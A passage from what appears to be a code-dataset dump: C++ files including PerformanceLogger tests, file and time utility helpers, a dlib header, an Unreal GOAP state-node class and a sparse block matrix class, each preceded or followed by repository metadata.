EXPECT_EQ(expected_webview, webview);
std::string method;
EXPECT_TRUE(message->GetString("message.method", &method));
EXPECT_EQ(expected_method, method);
base::DictionaryValue* params;
EXPECT_TRUE(message->GetDictionary("message.params", ¶ms));
EXPECT_TRUE(params->Equals(&expected_params));
}
void ValidateLogEntry(const LogEntry *entry,
const std::string& expected_webview,
const std::string& expected_method) {
base::DictionaryValue empty_params;
ValidateLogEntry(entry, expected_webview, expected_method, empty_params);
}
void ExpectCommand(FakeDevToolsClient* client, const std::string& method) {
DevToolsCommand* cmd;
// Use ASSERT so that test fails if no command is returned.
ASSERT_TRUE(client->PopSentCommand(&cmd));
EXPECT_EQ(method, cmd->method);
}
void ExpectEnableDomains(FakeDevToolsClient* client) {
ExpectCommand(client, "Network.enable");
ExpectCommand(client, "Page.enable");
}
} // namespace
TEST(PerformanceLogger, OneWebView) {
FakeDevToolsClient client("webview-1");
FakeLog log;
Session session("test");
PerformanceLogger logger(&log, &session);
client.AddListener(&logger);
logger.OnConnected(&client);
ExpectEnableDomains(&client);
ASSERT_EQ(kOk, client.TriggerEvent("Network.gaga").code());
ASSERT_EQ(kOk, client.TriggerEvent("Page.ulala").code());
// Ignore -- different domain.
ASSERT_EQ(kOk, client.TriggerEvent("Console.bad").code());
ASSERT_EQ(2u, log.GetEntries().size());
ValidateLogEntry(log.GetEntries()[0].get(), "webview-1", "Network.gaga");
ValidateLogEntry(log.GetEntries()[1].get(), "webview-1", "Page.ulala");
}
TEST(PerformanceLogger, TwoWebViews) {
FakeDevToolsClient client1("webview-1");
FakeDevToolsClient client2("webview-2");
FakeLog log;
Session session("test");
PerformanceLogger logger(&log, &session);
client1.AddListener(&logger);
client2.AddListener(&logger);
logger.OnConnected(&client1);
logger.OnConnected(&client2);
ExpectEnableDomains(&client1);
ExpectEnableDomains(&client2);
// OnConnected sends the enable command only to that client, not others.
client1.ConnectIfNecessary();
ExpectEnableDomains(&client1);
DevToolsCommand* cmd;
ASSERT_FALSE(client2.PopSentCommand(&cmd));
ASSERT_EQ(kOk, client1.TriggerEvent("Page.gaga1").code());
ASSERT_EQ(kOk, client2.TriggerEvent("Network.gaga2").code());
ASSERT_EQ(2u, log.GetEntries().size());
ValidateLogEntry(log.GetEntries()[0].get(), "webview-1", "Page.gaga1");
ValidateLogEntry(log.GetEntries()[1].get(), "webview-2", "Network.gaga2");
}
TEST(PerformanceLogger, PerfLoggingPrefs) {
FakeDevToolsClient client("webview-1");
FakeLog log;
Session session("test");
PerfLoggingPrefs prefs;
EXPECT_EQ(PerfLoggingPrefs::InspectorDomainStatus::kDefaultEnabled,
prefs.network);
prefs.network = PerfLoggingPrefs::InspectorDomainStatus::kExplicitlyDisabled;
prefs.trace_categories = "benchmark,blink.console";
PerformanceLogger logger(&log, &session, prefs);
client.AddListener(&logger);
logger.OnConnected(&client);
ExpectCommand(&client, "Page.enable");
DevToolsCommand* cmd;
ASSERT_FALSE(client.PopSentCommand(&cmd));
}
namespace {
class FakeBrowserwideClient : public FakeDevToolsClient {
public:
FakeBrowserwideClient()
: FakeDevToolsClient(DevToolsClientImpl::kBrowserwideDevToolsClientId),
events_handled_(false) {}
~FakeBrowserwideClient() override {}
bool events_handled() const {
return events_handled_;
}
// Overridden from DevToolsClient:
Status HandleEventsUntil(const ConditionalFunc& conditional_func,
const Timeout& timeout) override {
TriggerEvent("Tracing.tracingComplete");
events_handled_ = true;
return Status(kOk);
}
private:
bool events_handled_;
};
} // namespace
TEST(PerformanceLogger, TracingStartStop) {
FakeBrowserwideClient client;
FakeLog log;
Session session("test");
PerfLoggingPrefs prefs;
prefs.trace_categories = "benchmark,blink.console";
PerformanceLogger logger(&log, &session, prefs);
client.AddListener(&logger);
logger.OnConnected(&client);
DevToolsCommand* cmd;
ASSERT_TRUE(client.PopSentCommand(&cmd));
EXPECT_EQ("Tracing.start", cmd->method);
base::ListValue* categories;
EXPECT_TRUE(cmd->params->GetList("traceConfig.includedCategories",
&categories));
EXPECT_EQ(2u, categories->GetSize());
std::string category;
EXPECT_TRUE(categories->GetString(0, &category));
EXPECT_EQ("benchmark", category);
EXPECT_TRUE(categories->GetString(1, &category));
EXPECT_EQ("blink.console", category);
int expected_interval = 0;
EXPECT_TRUE(cmd->params->GetInteger("bufferUsageReportingInterval",
&expected_interval));
EXPECT_GT(expected_interval, 0);
ASSERT_FALSE(client.PopSentCommand(&cmd));
EXPECT_FALSE(client.events_handled());
// Trigger a dump of the DevTools trace buffer.
ASSERT_EQ(kOk, logger.BeforeCommand("GetLog").code());
EXPECT_TRUE(client.events_handled());
ExpectCommand(&client, "Tracing.end");
ExpectCommand(&client, "Tracing.start"); // Tracing should re-start.
ASSERT_FALSE(client.PopSentCommand(&cmd));
}
TEST(PerformanceLogger, RecordTraceEvents) {
FakeBrowserwideClient client;
FakeLog log;
Session session("test");
PerfLoggingPrefs prefs;
prefs.trace_categories = "benchmark,blink.console";
PerformanceLogger logger(&log, &session, prefs);
client.AddListener(&logger);
logger.OnConnected(&client);
base::DictionaryValue params;
auto trace_events = std::make_unique<base::ListValue>();
auto event1 = std::make_unique<base::DictionaryValue>();
event1->SetString("cat", "foo");
trace_events->GetList().push_back(event1->Clone());
auto event2 = std::make_unique<base::DictionaryValue>();
event2->SetString("cat", "bar");
trace_events->GetList().push_back(event2->Clone());
params.Set("value", std::move(trace_events));
ASSERT_EQ(kOk, client.TriggerEvent("Tracing.dataCollected", params).code());
ASSERT_EQ(2u, log.GetEntries().size());
ValidateLogEntry(log.GetEntries()[0].get(),
DevToolsClientImpl::kBrowserwideDevToolsClientId,
"Tracing.dataCollected", *event1);
ValidateLogEntry(log.GetEntries()[1].get(),
DevToolsClientImpl::kBrowserwideDevToolsClientId,
"Tracing.dataCollected", *event2);
}
TEST(PerformanceLogger, ShouldRequestTraceEvents) {
FakeBrowserwideClient client;
FakeLog log;
Session session("test");
PerfLoggingPrefs prefs;
prefs.trace_categories = "benchmark,blink.console";
PerformanceLogger logger(&log, &session, prefs);
client.AddListener(&logger);
logger.OnConnected(&client);
EXPECT_FALSE(client.events_handled());
// Trace events should not be dumped for commands not in whitelist.
ASSERT_EQ(kOk, logger.BeforeCommand("Blah").code());
EXPECT_FALSE(client.events_handled());
ASSERT_EQ(kOk, logger.BeforeCommand("Foo").code());
EXPECT_FALSE(client.events_handled());
// Trace events should always be dumped for GetLog command.
ASSERT_EQ(kOk, logger.BeforeCommand("GetLog").code());
EXPECT_TRUE(client.events_handled());
}
TEST(PerformanceLogger, WarnWhenTraceBufferFull) {
FakeBrowserwideClient client;
FakeLog log;
Session session("test");
PerfLoggingPrefs prefs;
prefs.trace_categories = "benchmark,blink.console";
PerformanceLogger logger(&log, &session, prefs);
client.AddListener(&logger);
logger.OnConnected(&client);
base::DictionaryValue params;
params.SetDouble("percentFull", 1.0);
ASSERT_EQ(kOk, client.TriggerEvent("Tracing.bufferUsage", params).code());
ASSERT_EQ(1u, log.GetEntries().size());
LogEntry* entry = log.GetEntries()[0].get();
EXPECT_EQ(Log::kWarning, entry->level);
EXPECT_LT(0, entry->timestamp.ToTimeT());
std::unique_ptr<base::DictionaryValue> message(
ParseDictionary(entry->message));
std::string webview;
EXPECT_TRUE(message->GetString("webview", &webview));
EXPECT_EQ(DevToolsClientImpl::kBrowserwideDevToolsClientId, webview);
std::string method;
EXPECT_TRUE(message->GetString("message.method", &method));
EXPECT_EQ("Tracing.bufferUsage", method);
base::DictionaryValue* actual_params;
EXPECT_TRUE(message->GetDictionary("message.params", &actual_params));
EXPECT_TRUE(actual_params->HasKey("error"));
}
|
[
"arnaud@geometry.ee"
] |
arnaud@geometry.ee
|
1be9d8d5435bbdd498d0d33a90f13d932f486b7a
|
c5415c39ebfeb1cc81d3d7e96173679b49e05de6
|
/src/shared/tools.cpp
|
4c2b0f8f8b8e31fdb504c0bb1d9b92cb64087afb
|
[] |
no_license
|
metropolik/pybo
|
50602e4289960931b13ba9327d9bb587baa55f00
|
b6cd16897add6c0601713fbf9dc7f9528226ec4f
|
refs/heads/master
| 2022-01-08T13:34:44.622237
| 2019-04-28T12:04:52
| 2019-04-28T12:04:52
| 114,196,381
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 8,038
|
cpp
|
#include <algorithm>
#include <cctype>
#include <sstream>
#include <string>
#include <fstream>
#include <errno.h>
#include "tools.h"
#if PLATFORM == PLATFORM_WIN32
# include <windows.h>
# include <mmsystem.h>
# include <time.h>
# include <direct.h>
#else
# include <sys/dir.h>
# include <sys/stat.h>
# if defined(__FreeBSD__) || defined(__APPLE_CC__)
# include <time.h>
# endif
# include <sys/timeb.h>
# include <unistd.h>
#endif
#ifndef MAX_PATH
#define MAX_PATH 1024
#endif
void printchex(std::string in, bool spaces=true)
{
unsigned int len=0,i;
len=in.length();
printf("[");
if(spaces)
for(i=0;i<len;i++)printf("%x ",(unsigned char)in[i]);
else
for(i=0;i<len;i++)printf("%x",(unsigned char)in[i]);
printf("]\n");
}
void printchex(char *in, uint32 len, bool spaces=true)
{
unsigned int i;
printf("[");
if(spaces)
for(i=0;i<len;i++)printf("%x ",(unsigned char)in[i]);
else
for(i=0;i<len;i++)printf("%x",(unsigned char)in[i]);
printf("]\n");
}
std::string stringToLower(std::string s)
{
std::transform(s.begin(), s.end(), s.begin(), tolower);
return s;
}
std::string stringToUpper(std::string s)
{
std::transform(s.begin(), s.end(), s.begin(), toupper);
return s;
}
std::string toString(uint64 num){
std::stringstream ss;
ss << num;
return ss.str();
}
std::string getDateString(void)
{
time_t t = time(NULL);
tm* aTm = localtime(&t);
char str[30];
// YYYY year
// MM month (2 digits 01-12)
// DD day (2 digits 01-31)
// HH hour (2 digits 00-23)
// MM minutes (2 digits 00-59)
// SS seconds (2 digits 00-59)
sprintf(str,"%-4d-%02d-%02d %02d:%02d:%02d ",aTm->tm_year+1900,aTm->tm_mon+1,aTm->tm_mday,aTm->tm_hour,aTm->tm_min,aTm->tm_sec);
return std::string(str);
}
std::string GetTimeString(void)
{
time_t t = time(NULL);
tm* aTm = localtime(&t);
char str[15];
sprintf(str,"%02d:%02d:%02d", aTm->tm_hour,aTm->tm_min,aTm->tm_sec);
return std::string(str);
}
uint64 toInt(std::string str)
{
if(str.empty())
return 0;
str=stringToUpper(str);
if(str.length() > 2 && str[0]=='0' && str[1]=='X')
return strtoul(&(str.c_str()[2]),NULL,16);
else
return strtoul(str.c_str(),NULL,10);
}
std::string toHexDump(uint8* array, uint32 size, bool spaces, uint32 per_line)
{
std::stringstream ss;
char buf[5];
for(uint32 i=0;i<size;i++)
{
if(array[i])
{
sprintf(buf,(array[i]<=0x0F)?"0%lX":"%lX",(uint32)array[i]);
ss << buf;
}
else
ss << "00"; // little hacklike fix
if(per_line && !((i+1) % per_line))
{
ss << "\n";
continue;
}
if(spaces)
ss << ' ';
}
return ss.str();
}
std::deque<std::string> GetFileList(std::string path)
{
std::deque<std::string> files;
# ifndef _WIN32 // TODO: fix this function for linux if needed
const char *p = path.c_str();
DIR * dirp;
struct dirent * dp;
dirp = opendir(p);
while (dirp)
{
errno = 0;
if ((dp = readdir(dirp)) != NULL)
files.push_back(std::string(dp->d_name));
else
break;
}
if(dirp)
closedir(dirp);
# else
if(path.at(path.length()-1)!='/')
path += "/";
path += "*.*";
const char *p = path.c_str();
WIN32_FIND_DATA fil;
HANDLE hFil=FindFirstFile(p,&fil);
if(hFil!=INVALID_HANDLE_VALUE)
{
if( !(fil.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) )
files.push_back(std::string(fil.cFileName));
while(FindNextFile(hFil,&fil))
{
if( !(fil.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) )
files.push_back(std::string(fil.cFileName));
}
}
# endif
return files;
}
bool FileExists(std::string fn)
{
std::fstream f;
f.open(fn.c_str(),std::ios_base::in);
if (f.is_open())
{
f.close();
return true;
}
return false;
}
// must return true if creating the directory was successful
bool CreateDir(const char *dir)
{
bool result;
# ifdef _WIN32
result = ::CreateDirectory(dir,NULL);
# else
// NOT tested for Linux!! whats the return value on success?
// TODO: fix me!
result = mkdir(dir,S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH);
#endif
return result;
}
// current system time in ms
uint32 getMSTime(void)
{
uint32 time_in_ms = 0;
#if PLATFORM == PLATFORM_WIN32
time_in_ms = timeGetTime();
//TODO: change like in linux
#else
struct timeb tp;
ftime(&tp);
time_in_ms = (tp.time - processStartTimeSeconds) * 1000 + \
(tp.millitm - processStartTimeMilliSeconds);
#endif
return time_in_ms;
}
uint32 GetFileSize(const char* sFileName)
{
if(!sFileName || !*sFileName)
return 0;
std::ifstream f;
f.open(sFileName, std::ios_base::binary | std::ios_base::in);
if (!f.good() || f.eof() || !f.is_open()) { return 0; }
f.seekg(0, std::ios_base::beg);
std::ifstream::pos_type begin_pos = f.tellg(), end_pos;
f.seekg(0, std::ios_base::end);
end_pos = f.tellg();
f.close();
return end_pos - begin_pos;
}
// fix filenames for linux ( '/' instead of windows '\')
void _FixFileName(std::string& str)
{
for(uint32 i = 0; i < str.length(); i++)
if(str[i]=='\\')
str[i]='/';
}
// extracts the file name from a given path
std::string _PathToFileName(std::string str)
{
size_t pathend = str.find_last_of("/\\");
if(pathend != std::string::npos)
{
return str.substr(pathend+1);
}
return str;
}
std::string NormalizeFilename(std::string s)
{
size_t p;
while( (p = s.find('\\')) != std::string::npos)//Replace \ by /
{
s.replace(p,1,"/");
}
while( (p = s.find(' ')) != std::string::npos)//Replace space by _
{
s.replace(p,1,"_");
}
std::transform(s.begin(), s.end(), s.begin(), tolower);
return s;
}
std::string FilesizeFormat(uint32 b)
{
char buf[15];
if (b < 1024)
{
sprintf(buf,"%lu B",b);
}
else if(b < 1024*1024)
{
sprintf(buf,"%.2f kB",(b / 1024.0f));
}
else if(b < 1024*1024*1024)
{
sprintf(buf,"%.2f MB",(b / double(1024*1024)));
}
else
{
sprintf(buf,"%.2f GB",(b / double(1024*1024*1024)));
}
return buf;
}
//! Returns the string of the current working directory
std::string GetWorkingDir(void)
{
char d[MAX_PATH];
#if PLATFORM == PLATFORM_WIN32
_getcwd(d, MAX_PATH);
#else
getcwd(d, MAX_PATH);
#endif
return d;
}
//! Changes the current Working Directory to the given string.
bool SetWorkingDir(const char *dir)
{
bool success=false;
#ifdef _MSC_VER
success=(_chdir(dir) == 0);
#else
success=(chdir(dir) == 0);
#endif
return success;
}
std::string GetAbsolutePath(const char *filename)
{
char *p = NULL;
#if PLATFORM == PLATFORM_WIN32
char fpath[MAX_PATH];
p = _fullpath( fpath, filename, MAX_PATH);
#else
char fpath[4096];
fpath[0]=0;
p = realpath(filename, fpath);
if (!p)
{
// content in fpath is undefined at this point
if ('0'==fpath[0]) // seems like fpath wasn't altered
{
// at least remove a ./ prefix
if ('.'==filename[0] && '/'==filename[1])
return &filename[2]; // skip first 2 chars
else
return filename;
}
else
return fpath;
}
#endif
return p;
}
void setProcessStartTime(uint32 sec, uint32 ms)
{
processStartTimeSeconds = sec;
processStartTimeMilliSeconds = ms;
}
|
[
"metropolik@web.de"
] |
metropolik@web.de
|
76570cd9caa6e064b9c8c5aa1bad7f268b8081ac
|
f87d9f0d61a21e5207a2b842f01b0e26098b4bda
|
/Agents/Robots/UR_MTConnectAgent/MTConnectAgent/lib/dlib/svm/linearly_independent_subset_finder_abstract.h
|
ae2910bb92514739d78aa02c40cbe31ecdb00f8d
|
[
"BSL-1.0",
"NIST-Software"
] |
permissive
|
githu86/MTConnectToolbox
|
8c982dc477feeb1847531ef59a9638d1d7b6fa7e
|
2b5b55d1776dc84f2f4bb103a1875da0ca6bbcec
|
refs/heads/master
| 2023-04-01T18:49:08.072328
| 2020-04-03T16:16:16
| 2020-04-03T16:16:16
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 7,495
|
h
|
// Copyright (C) 2008 Davis E. King (davis@dlib.net)
// License: Boost Software License See LICENSE.txt for the full license.
#undef DLIB_LISf_ABSTRACT_
#ifdef DLIB_LISf_ABSTRACT_
#include "../algs.h"
#include "../serialize.h"
#include "kernel_abstract.h"
namespace dlib
{
template <
typename kernel_type
>
class linearly_independent_subset_finder
{
/*!
REQUIREMENTS ON kernel_type
is a kernel function object as defined in dlib/svm/kernel_abstract.h
INITIAL VALUE
- dictionary_size() == 0
WHAT THIS OBJECT REPRESENTS
This is an implementation of an online algorithm for recursively finding a
set of linearly independent vectors in a kernel induced feature space. To
use it you decide how large you would like the set to be and then you feed it
sample points.
Each time you present it with a new sample point (via this->add()) it either
keeps the current set of independent points unchanged, or if the new point
is "more linearly independent" than one of the points it already has,
it replaces the weakly linearly independent point with the new one.
This object uses the Approximately Linearly Dependent metric described in the paper
The Kernel Recursive Least Squares Algorithm by Yaakov Engel to decide which
points are more linearly independent than others.
!*/
public:
typedef typename kernel_type::scalar_type scalar_type;
typedef typename kernel_type::sample_type sample_type;
typedef typename kernel_type::mem_manager_type mem_manager_type;
linearly_independent_subset_finder (
);
/*!
ensures
- #minimum_tolerance() == 0.001
- this object is properly initialized
- #get_kernel() == kernel_type() (i.e. whatever the default is for the supplied kernel)
- #max_dictionary_size() == 100
!*/
linearly_independent_subset_finder (
const kernel_type& kernel_,
unsigned long max_dictionary_size,
scalar_type min_tolerance = 0.001
);
/*!
requires
- min_tolerance > 0
ensures
- #minimum_tolerance() == min_tolerance
- this object is properly initialized
- #get_kernel() == kernel_
- #max_dictionary_size() == max_dictionary_size_
!*/
const kernel_type& get_kernel (
) const;
/*!
ensures
- returns a const reference to the kernel used by this object
!*/
unsigned long max_dictionary_size(
) const;
/*!
ensures
- returns the maximum number of dictionary vectors this object
will accumulate. That is, dictionary_size() will never be
greater than max_dictionary_size().
!*/
scalar_type minimum_tolerance(
) const;
/*!
ensures
- returns the minimum tolerance to use for the approximately linearly dependent
test used for dictionary vector selection (see KRLS paper for ALD details).
In other words, this is the minimum threshold for how linearly independent
a sample must be for it to even be considered for addition to the dictionary.
Moreover, bigger values of this field will make the algorithm run faster but
might give less accurate results.
- The exact meaning of the tolerance parameter is the following:
Imagine that we have an empirical_kernel_map that contains all the current
dictionary vectors. Then the tolerance is the minimum projection error
(as given by empirical_kernel_map::project()) required to cause us to
include a new vector in the dictionary. So each time you call add() this
object basically just computes the projection error for that new sample
and if it is larger than the tolerance then that new sample becomes part
of the dictionary.
!*/
void clear_dictionary (
);
/*!
ensures
- clears out all the data (e.g. #dictionary_size() == 0)
!*/
void add (
const sample_type& x
);
/*!
ensures
- if (x is linearly independent of the vectors already in this object) then
- adds x into the dictionary
- if (dictionary_size() < max_dictionary_size()) then
- #dictionary_size() == dictionary_size() + 1
- else
- #dictionary_size() == dictionary_size()
(i.e. the number of vectors in this object doesn't change)
- the least linearly independent vector in this object is removed
!*/
void swap (
linearly_independent_subset_finder& item
);
/*!
ensures
- swaps *this with item
!*/
unsigned long dictionary_size (
) const;
/*!
ensures
- returns the number of vectors in the dictionary.
!*/
const sample_type& operator[] (
unsigned long index
) const;
/*!
requires
- index < dictionary_size()
ensures
- returns the index'th element in the set of linearly independent
vectors contained in this object.
!*/
const matrix<sample_type,0,1,mem_manager_type> get_dictionary (
) const;
/*!
ensures
- returns a column vector that contains all the dictionary
vectors in this object.
!*/
};
// ----------------------------------------------------------------------------------------
template <
typename kernel_type
>
void swap(
linearly_independent_subset_finder<kernel_type>& a,
linearly_independent_subset_finder<kernel_type>& b
) { a.swap(b); }
/*!
provides a global swap function
!*/
template <
typename kernel_type
>
void serialize (
const linearly_independent_subset_finder<kernel_type>& item,
std::ostream& out
);
/*!
provides serialization support for linearly_independent_subset_finder objects
!*/
template <
typename kernel_type
>
void deserialize (
linearly_independent_subset_finder<kernel_type>& item,
std::istream& in
);
/*!
provides serialization support for linearly_independent_subset_finder objects
!*/
// ----------------------------------------------------------------------------------------
}
#endif // DLIB_LISf_ABSTRACT_
|
[
"john.michaloski@nist.gov"
] |
john.michaloski@nist.gov
|
dfd6b7c93ef3c58fa36f6cdac49b3ad93a5e2155
|
de04a6ce0371e85754178ea9b38606ccbcc7ce89
|
/Casino_Inc/Source/Casino_Inc/AI/GOAP/StateNodeTypes/CI_GOAPStateNodeTypeObject_CPP.h
|
fd53daec521d804fea08f9ca272da9f68f090041
|
[
"Apache-2.0"
] |
permissive
|
matthieu1345/CasinoInc
|
d3fe0580c7a88e0b287a075d252c5ce322630382
|
3f6db9038c191fb5037219dbd8db5c7041b8292e
|
refs/heads/master
| 2020-06-12T01:19:39.205063
| 2019-11-23T23:06:21
| 2019-11-23T23:06:21
| 194,148,796
| 1
| 0
|
Apache-2.0
| 2019-11-23T23:06:22
| 2019-06-27T19:01:52
|
C++
|
UTF-8
|
C++
| false
| false
| 5,157
|
h
|
#pragma once
#include "CI_GOAPStateNodeTypeBase_CPP.h"
#include "Casino_Inc.h"
#include "CI_GOAPStateNodeTypeObject_CPP.generated.h"
UENUM(BlueprintType)
enum class EGOAPTestObjectCondition : uint8
{
GTC_Class UMETA(DisplayName = "class"),
GTC_Object UMETA(DisplayName = "Object")
};
UCLASS(EditInlineNew, BlueprintType)
class UGOAPStateNodeType_Object : public UGOAPStateNodeType
{
GENERATED_BODY()
public:
virtual bool TestEqual(const UGOAPStateNodeType* other) const override
{
if (UGOAPStateNodeType::TestEqual(other))
{
if (valueClass == GetValueClass<const UGOAPStateNodeType_Object>(other)->valueClass)
return value == GetValueClass<const UGOAPStateNodeType_Object>(other)->value;
}
return false;
}
virtual bool TestValue(const UGOAPStateNodeType* other) const override
{
if (UGOAPStateNodeType::TestValue(other))
{
TSubclassOf<UObject> otherValueClass = GetValueClass<const UGOAPStateNodeType_Object>(other)->valueClass;
switch (testOn)
{
case EGOAPTestObjectCondition::GTC_Class:
switch (conditionType)
{
case EGOAPStateCondition::GSC_Equal:
return valueClass->GetFName() == GetValueClass<const UGOAPStateNodeType_Object>(other)->valueClass->GetFName();
case EGOAPStateCondition::GSC_NotEqual:
return valueClass->GetFName() != GetValueClass<const UGOAPStateNodeType_Object>(other)->valueClass->GetFName();
case EGOAPStateCondition::GSC_Nullptr:
return GetValueClass<const UGOAPStateNodeType_Object>(other)->valueClass == nullptr;
case EGOAPStateCondition::GSC_NotNullptr:
return GetValueClass<const UGOAPStateNodeType_Object>(other)->valueClass != nullptr;
default:
return false;
}
case EGOAPTestObjectCondition::GTC_Object:
switch (conditionType)
{
case EGOAPStateCondition::GSC_Equal:
return value == GetValueClass<const UGOAPStateNodeType_Object>(other)->value;
case EGOAPStateCondition::GSC_NotEqual:
return value != GetValueClass<const UGOAPStateNodeType_Object>(other)->value;
case EGOAPStateCondition::GSC_Nullptr:
return GetValueClass<const UGOAPStateNodeType_Object>(other)->value == nullptr;
case EGOAPStateCondition::GSC_NotNullptr:
return GetValueClass<const UGOAPStateNodeType_Object>(other)->value != nullptr;
default:
return false;
}
default:
return false;
}
}
return false;
}
virtual bool TestDefault() override
{
switch (testOn)
{
case EGOAPTestObjectCondition::GTC_Class:
switch (conditionType)
{
case EGOAPStateCondition::GSC_Equal:
return valueClass->GetFName() == FName();
case EGOAPStateCondition::GSC_NotEqual:
return valueClass->GetFName() != FName();
case EGOAPStateCondition::GSC_Nullptr:
return true;
case EGOAPStateCondition::GSC_NotNullptr:
return false;
default:
return false;
}
case EGOAPTestObjectCondition::GTC_Object:
switch (conditionType)
{
case EGOAPStateCondition::GSC_Equal:
return value == nullptr;
case EGOAPStateCondition::GSC_NotEqual:
return value != nullptr;
case EGOAPStateCondition::GSC_Nullptr:
return true;
case EGOAPStateCondition::GSC_NotNullptr:
return false;
default:
return false;
}
default:
return false;
}
}
virtual bool AddValue(const UGOAPStateNodeType* other) override
{
UGOAPStateNodeType::AddValue(other);
SetValue(other->GetValueClass<const UGOAPStateNodeType_Object>(other)->value.Get());
return true;
}
virtual bool RemoveValue(const UGOAPStateNodeType* other) override
{
value = nullptr;
return true;
}
#if WITH_EDITOR
virtual void PostEditChangeProperty(FPropertyChangedEvent& PropertyChangedEvent) override
{
FName propertyName = PropertyChangedEvent.GetPropertyName();
if (testOn != EGOAPTestObjectCondition::GTC_Class)
{
if (propertyName == GET_MEMBER_NAME_CHECKED(UGOAPStateNodeType_Object, value))
{
if (value != nullptr)
valueClass = value->GetClass();
else
valueClass = nullptr;
}
}
Super::PostEditChangeProperty(PropertyChangedEvent);
}
#endif
UFUNCTION(BlueprintCallable)
void SetValue(UObject* newValue)
{
value = newValue;
if (testOn != EGOAPTestObjectCondition::GTC_Class)
valueClass = value->GetClass();
}
UFUNCTION(BlueprintCallable)
void SetValueClass(TSubclassOf<UObject> newValueClass)
{
valueClass = newValueClass;
}
virtual FString GetFString() override
{
if (isCondition && testOn == EGOAPTestObjectCondition::GTC_Class)
{
return *FString::Printf(TEXT("Class: %s"), *valueClass->GetName());
}
return *FString::Printf(TEXT("Object: %s"), value.IsValid() ? *value->GetName() : TEXT("nullptr"));
}
protected:
UPROPERTY(EditAnywhere, BlueprintReadOnly, Category = "State")
TWeakObjectPtr<UObject> value = nullptr;
UPROPERTY(EditAnywhere, BlueprintReadOnly, Category = "State", meta = (EditCondition = "isCondition"))
TSubclassOf<UObject> valueClass;
UPROPERTY(EditAnywhere, BlueprintReadOnly, AdvancedDisplay, category = "condition", meta= (DisplayName="Test On:"))
EGOAPTestObjectCondition testOn = EGOAPTestObjectCondition::GTC_Class;
};
|
[
"matthieuberg@hotmail.com"
] |
matthieuberg@hotmail.com
|
6be3dd98d73fa43a592b1ed52be73df3ec191d62
|
fa8b1470a8e863b3ff3acfd2734c6e9a122b7db8
|
/moca/src/math/SparseBlockSquareMatrix.h
|
e72788377aab9da0747b01d8e31cfde469327209
|
[
"Apache-2.0"
] |
permissive
|
Edwinzero/Fusion
|
6faabac52b83ad391711753e56d28dab39ecba16
|
6b71ee807bc33c6d79546ce2dbca47229d663c1d
|
refs/heads/master
| 2021-01-21T00:47:27.495754
| 2018-08-31T22:19:49
| 2018-08-31T22:19:49
| 42,267,987
| 0
| 0
|
Apache-2.0
| 2018-08-31T22:19:37
| 2015-09-10T20:07:15
|
C++
|
UTF-8
|
C++
| false
| false
| 4,615
|
h
|
class SparseBlockSquareMatrix {
public :
typedef struct {
int col;
int blk;
} offset_t;
public :
int m_gridSize, m_blockSize;
// buffers
std::vector<int> m_rowScan; // row offset
std::vector<offset_t> m_blockInfos; // column index and block offset for row elements
std::vector<float> m_blocks; // m_blocks buffer
// graph of sparse matrix for creating buffers
std::vector<std::vector<int>> m_colLinks;
public :
SparseBlockSquareMatrix() : m_gridSize( 0 ), m_blockSize( 0 ) {
}
void free( void ) {
m_gridSize = 0;
m_blockSize = 0;
m_rowScan.clear();
m_blockInfos.clear();
m_colLinks.clear();
}
// m_gridSize = mat.size / m_blockSize
void create( int size, int blockSize ) {
free();
m_blockSize = blockSize;
m_gridSize = size / blockSize;
m_colLinks.resize( m_gridSize );
for ( int i = 0; i < m_gridSize; i++ ) {
insertLink( i, i );
}
}
bool isIndexValid( int row, int col ) const {
return ( row >= 0 && row < m_gridSize && col >= 0 && col < m_gridSize );
}
int size( void ) const {
return m_gridSize * m_blockSize;
}
int blockSize( void ) const {
return m_blockSize;
}
int gridSize( void ) const {
return m_gridSize;
}
int calcBlockIndex( int row, int col ) const {
assert( isIndexValid( row, col ) );
int index = findLink( row, col );
if ( index < 0 ) {
return -1;
}
return m_blockInfos[m_rowScan[row] + index].blk;
}
// FIXME: linear search, improve
int findLink( int row, int col ) const {
assert( isIndexValid( row, col ) );
const std::vector<int> &links = m_colLinks[row];
for ( int i = 0; i < links.size(); i++ ) {
if ( links[i] == col ) {
return i;
}
}
return -1;
}
void insertLink( int row, int col ) {
assert( isIndexValid( row, col ) );
int index = findLink( row, col );
if ( index < 0 ) {
m_colLinks[row].push_back( col );
}
}
// only alloc buffer for upper triangle elements
void alloc( void ) {
// row scan buffer
m_rowScan.resize( m_gridSize + 1 ); // add additional one for total number
m_rowScan[0] = 0;
for ( int i = 1; i <= m_gridSize; i++ ) {
m_rowScan[i] = m_rowScan[i-1] + m_colLinks[i-1].size();
}
// block info buffer
int m_blockInfosIndex = 0;
int blockIndex = 0;
m_blockInfos.resize( m_rowScan[m_gridSize] );
for ( int i = 0; i < m_colLinks.size(); i++ ) {
const std::vector<int> &links = m_colLinks[i];
for ( int j = 0; j < links.size(); j++ ) {
int col = links[j];
offset_t &index = m_blockInfos[m_blockInfosIndex];
index.col = col;
if ( col < i ) {
index.blk = calcBlockIndex( col, i );
} else {
index.blk = blockIndex;
++blockIndex;
}
++m_blockInfosIndex;
}
}
// block buffer
m_blocks.resize( blockIndex * m_blockSize * m_blockSize, 0 );
// std::cout << m_blocks.size() << std::endl;
}
Eigen::VectorXf diagonal( void ) const {
Eigen::VectorXf diag = Eigen::VectorXf::Zero( size() );
for ( int i = 0; i < m_gridSize; i++ ) {
const float *block = m_blocks.data() + calcBlockIndex( i, i ) * m_blockSize * m_blockSize;
for ( int k = 0; k < m_blockSize; k++ ) {
diag[k + i * m_blockSize] = block[k + k * m_blockSize];
}
}
return diag;
}
Eigen::VectorXf operator*( const Eigen::VectorXf &v ) const {
Eigen::VectorXf r = Eigen::VectorXf::Zero( size() );
for ( int row = 0; row < m_gridSize; row++ ) { // for each row
int start = m_rowScan[row];
int end = m_rowScan[row+1]; // column m_blocks
for ( int i = start; i < end; i++ ) {
offset_t info = m_blockInfos[i];
int col = info.col;
int blk = info.blk;
const float *ptr_B = m_blocks.data() + blk * m_blockSize * m_blockSize;
const float *ptr_v = &v[col * m_blockSize];
float *ptr_r = &r[row * m_blockSize];
if ( col >= row ) {
mad_mat_mult_v( m_blockSize, ptr_B, ptr_v, ptr_r );
} else {
mad_v_mult_mat( m_blockSize, ptr_B, ptr_v, ptr_r );
}
}
